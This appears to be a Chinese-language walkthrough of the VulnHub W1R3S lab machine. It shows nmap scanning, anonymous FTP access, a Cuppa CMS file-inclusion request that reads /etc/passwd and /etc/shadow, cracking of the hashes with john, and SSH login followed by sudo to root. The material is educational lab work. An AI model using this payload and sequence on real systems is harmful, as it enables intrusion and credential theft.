[vulnhub] w1r3s.v1.0

https://www.vulnhub.com/entry/w1r3s-101,220/

思路：红队笔记

主机发现端口扫描

使用nmap扫描网段类存活主机

因为靶机是我最后添加的，所以靶机IP是133

nmap -sP 192.168.75.0/24
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 09:09 CST
Nmap scan report for 192.168.75.1
Host is up (0.00022s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.133
Host is up (0.00021s latency).
MAC Address: 00:0C:29:11:5B:7D (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00028s latency).
MAC Address: 00:50:56:F8:B3:1A (VMware)
Nmap scan report for 192.168.75.131
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.14 seconds

扫描主机开放端口

nmap -sT -min-rate 10000 -p- 192.168.75.133
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 09:11 CST
Nmap scan report for 192.168.75.133
Host is up (0.0011s latency).
Not shown: 55528 filtered tcp ports (no-response), 10003 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
MAC Address: 00:0C:29:11:5B:7D (VMware)

开放了 21，22，80，3306

扫描主机服务版本以及系统版本

nmap -sV -sT -O -p21,22,80,3306 192.168.75.133
//
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:11:5B:7D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

vsftpd 可能可以使用匿名登陆，可能会有信息泄露，所以优先级高

Apache版本是2.4.18

MySql未经授权，所以未能获取到版本信息

操作系统版本**Linux 3.10 - 4.11** 或 Linux 3.2 - 4.9

主机名为 W1R3S.inc

UDP扫描
```
nmap -sU 192.168.75.133
//
无数据
```

扫描开放端口漏洞

我如果不设置--script-timeout 30s 会一直卡在98.xx%

nmap -script=vuln -p21,22,80,3306 --script-timeout 30s  192.168.75.133
//
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /wordpress/wp-login.php: Wordpress login page.
3306/tcp open  mysql
MAC Address: 00:0C:29:11:5B:7D (VMware)

没有找到什么漏洞，可能是扫描时间过短的原因，这样子的话我们的优先级就是21→80→3306→22 ，因为ftp可能造成文件泄露。web发现了wordpress的登陆页面，也有机会获得进度

FTP渗透

尝试下ftp是否能进行匿名登陆

ftp 192.168.75.133
//
Connected to 192.168.75.133.
220 Welcome to W1R3S.inc FTP service.
Name (192.168.75.133:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

230 Login successful 登陆成功，接着查找信息

把匿名用户能获取的所有文件下载下来，一共有五个文件

01.txt 02.txt 03.txt employee-names.txt worktodo.txt

查看内容

cat *.txt      
New FTP Server For W1R3S.inc
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
___________.__              __      __  ______________________   _________    .__               
\__    ___/|  |__   ____   /  \    /  \/_   \______   \_____  \ /   _____/    |__| ____   ____  
  |    |   |  |  \_/ __ \  \   \/\/   / |   ||       _/ _(__  < \_____  \     |  |/    \_/ ___\ 
  |    |   |   Y  \  ___/   \        /  |   ||    |   \/       \/        \    |  |   |  \  \___ 
  |____|   |___|  /\___  >   \__/\  /   |___||____|_  /______  /_______  / /\ |__|___|  /\___  >
                \/     \/         \/                \/       \/        \/  \/         \/     \/ 
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

New FTP Server For W1R3S.inc 指的应该是新的W1R3S.inc 公司的ftp服务器，新的就表示可能存在漏洞
01ec2d8fc11c493b25029fb1f47f39ce看着特征像是MD5，识别出来是：This is not a password
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== 看着像是base64，识别出来是：It is easy, but not that easy..
中间的Ascii艺术说的是The W1R3S.inc

还有个职员表，不过只有姓名，在爆破时可能用的上

Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources

最后有两行翻转过来的字符串，大概是

we have a lot of work to do, stop playtng around'.
i don't think this is the way to root!

好像没用…

WEB渗透

访问 http://192.168.75.133/ ，页面是apache的默认页面，可能是刚安装完

爆破目录都有啥，我们知道的只有wordpress的登录页

 python .\dirsearch.py -u http://192.168.75.133/
 //
 [10:14:57] Starting:
[10:14:58] 403 -  300B  - /.ht_wsr.txt
[10:14:58] 403 -  303B  - /.htaccess.bak1
[10:14:58] 403 -  303B  - /.htaccess.orig
[10:14:58] 403 -  305B  - /.htaccess.sample
[10:14:58] 403 -  303B  - /.htaccess.save
[10:14:58] 403 -  303B  - /.htaccess_orig
[10:14:58] 403 -  304B  - /.htaccess_extra
[10:14:58] 403 -  301B  - /.htaccess_sc
[10:14:58] 403 -  301B  - /.htaccessOLD
[10:14:58] 403 -  302B  - /.htaccessOLD2
[10:14:58] 403 -  294B  - /.html
[10:14:58] 403 -  293B  - /.htm
[10:14:58] 403 -  303B  - /.htpasswd_test
[10:14:58] 403 -  299B  - /.htpasswds
[10:14:58] 403 -  300B  - /.httr-oauth
[10:14:58] 403 -  293B  - /.php
[10:14:58] 403 -  294B  - /.php3
[10:15:00] 403 -  301B  - /.htaccessBAK
[10:15:03] 301 -  324B  - /administrator  ->  http://192.168.75.133/administrator/
[10:15:03] 302 -    7KB - /administrator/  ->  installation/
[10:15:03] 302 -    7KB - /administrator/index.php  ->  installation/
[10:15:10] 301 -  321B  - /javascript  ->  http://192.168.75.133/javascript/
[10:15:16] 403 -  302B  - /server-status
[10:15:16] 403 -  303B  - /server-status/
[10:15:21] 301 -    0B  - /wordpress/  ->  http://localhost/wordpress/
[10:15:21] 200 -    1KB - /wordpress/wp-login.php

存在administrator文件夹和wordpress ，先去查看wordpress

来到wordpress登陆页面，输入之前的用户名，密码随便输，抓包尝试爆破,但是发现数据包host指向的是localhost ，也就是指向我们的127.0.0.1
```
//数据包
POST /wordpress/wp-login.php HTTP/1.1
Host: localhost
....
log=Naomi&pwd=123&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1
```
应该是还没配置好，我们去administrator目录看看
跳转到访问administator目录跳转到/administrator/installation/ 是个CMS安装页面，也、页面的title显示的是Cuppa CMS ，经查阅是一个内容管理系统的项目

我们尝试next ，毕竟只有这一个交互，Database Name ，Password，Email都是空的

尝试输入Database Name = test，Password = test ,Email = test@tets.com ,点击next

数据表创建成功，不过管理员用户创建失败，并且交互只有一个back ，这块也走不下去了

想到Cuppa也是一个开源项目，我们去查阅一下有没有漏洞，因为我们不知道CMS版本，所以都可以尝试下

经查阅法cuppa存在文件包含漏洞，并且很容易利用

https://bugtoolz.com/post/cs132020723/

在/target/templates/default/html/windows/right.php 下存在一个$_POST['url'] ,提交可以访问任意文件
访问并抓包/administrator/templates/default/html/windows/right.php 因为是在administator目录安装的

抓到包后测试读取/etc/passwd ，记得修改包请求方法，默认访问时GET需要改成POST

//req
POST /administrator/templates/default/html/windows/right.php HTTP/1.1
Host: 192.168.75.133
....
url=../../	../../etc/passwd

读取成功

//res
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false

能读取passwd我们就继续读取shadow文件

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::

把root，www-data，w1r3s用户进行破解

将内容保存为shadow.hash 传入到kali

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

使用john破解

john shadow.hash 
//
reated directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
www-data         (www-data)     
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
computer         (w1r3s)     
Proceeding with incremental:ASCII

暂时破解出来了两个用户的密码，除了root的，权限看着应该是w1r3s的更高

使用ssh登录w1r3s 用户，并查看其权限

登陆成功

ssh w1r3s@192.168.75.133 
//
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
w1r3s@192.168.75.133's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

108 packages can be updated.
6 updates are security updates.

.....You made it huh?....
Last login: Mon Jan 22 22:47:27 2018 from 192.168.0.35
w1r3s@W1R3S:~$

查看权限

w1r3s@W1R3S:~$ whoami
w1r3s
//
w1r3s@W1R3S:~$ uname -a
Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
//
w1r3s@W1R3S:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:11:5b:7d brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.133/24 brd 192.168.75.255 scope global dynamic ens33
       valid_lft 1134sec preferred_lft 1134sec
    inet6 fe80::aae5:6c48:85ba:de8/64 scope link 
       valid_lft forever preferred_lft forever
// 直接进去root用户了
w1r3s@W1R3S:~$ sudo -i
root@W1R3S:
//
root@W1R3S:~# whoami
root

提权成功

读取flag.txt文件，登录root后就在当前目录下


// flag.txt
-----------------------------------------------------------------------------------------
   ____ ___  _   _  ____ ____      _  _____ _   _ _        _  _____ ___ ___  _   _ ____  
  / ___/ _ \| \ | |/ ___|  _ \    / \|_   _| | | | |      / \|_   _|_ _/ _ \| \ | / ___| 
 | |  | | | |  \| | |  _| |_) |  / _ \ | | | | | | |     / _ \ | |  | | | | |  \| \___ \ 
 | |__| |_| | |\  | |_| |  _ <  / ___ \| | | |_| | |___ / ___ \| |  | | |_| | |\  |___) |
  \____\___/|_| \_|\____|_| \_\/_/   \_\_|  \___/|_____/_/   \_\_| |___\___/|_| \_|____/ 
                                                                                        
-----------------------------------------------------------------------------------------

                          .-----------------TTTT_-----_______
                        /''''''''''(______O] ----------____  \______/]_
     __...---'"""\_ --''   Q                               ___________@
 |'''                   ._   _______________=---------"""""""
 |                ..--''|   l L |_l   |
 |          ..--''      .  /-___j '   '
 |    ..--''           /  ,       '   '
 |--''                /           `    \
                      L__'         \    -
                                    -    '-.
                                     '.    /
                                       '-./

----------------------------------------------------------------------------------------
  YOU HAVE COMPLETED THE
               __      __  ______________________   _________
              /  \    /  \/_   \______   \_____  \ /   _____/
              \   \/\/   / |   ||       _/ _(__  < \_____  \ 
               \        /  |   ||    |   \/       \/        \
                \__/\  /   |___||____|_  /______  /_______  /.INC
                     \/                \/       \/        \/        CHALLENGE, V 1.0
----------------------------------------------------------------------------------------

CREATED BY SpecterWires

----------------------------------------------------------------------------------------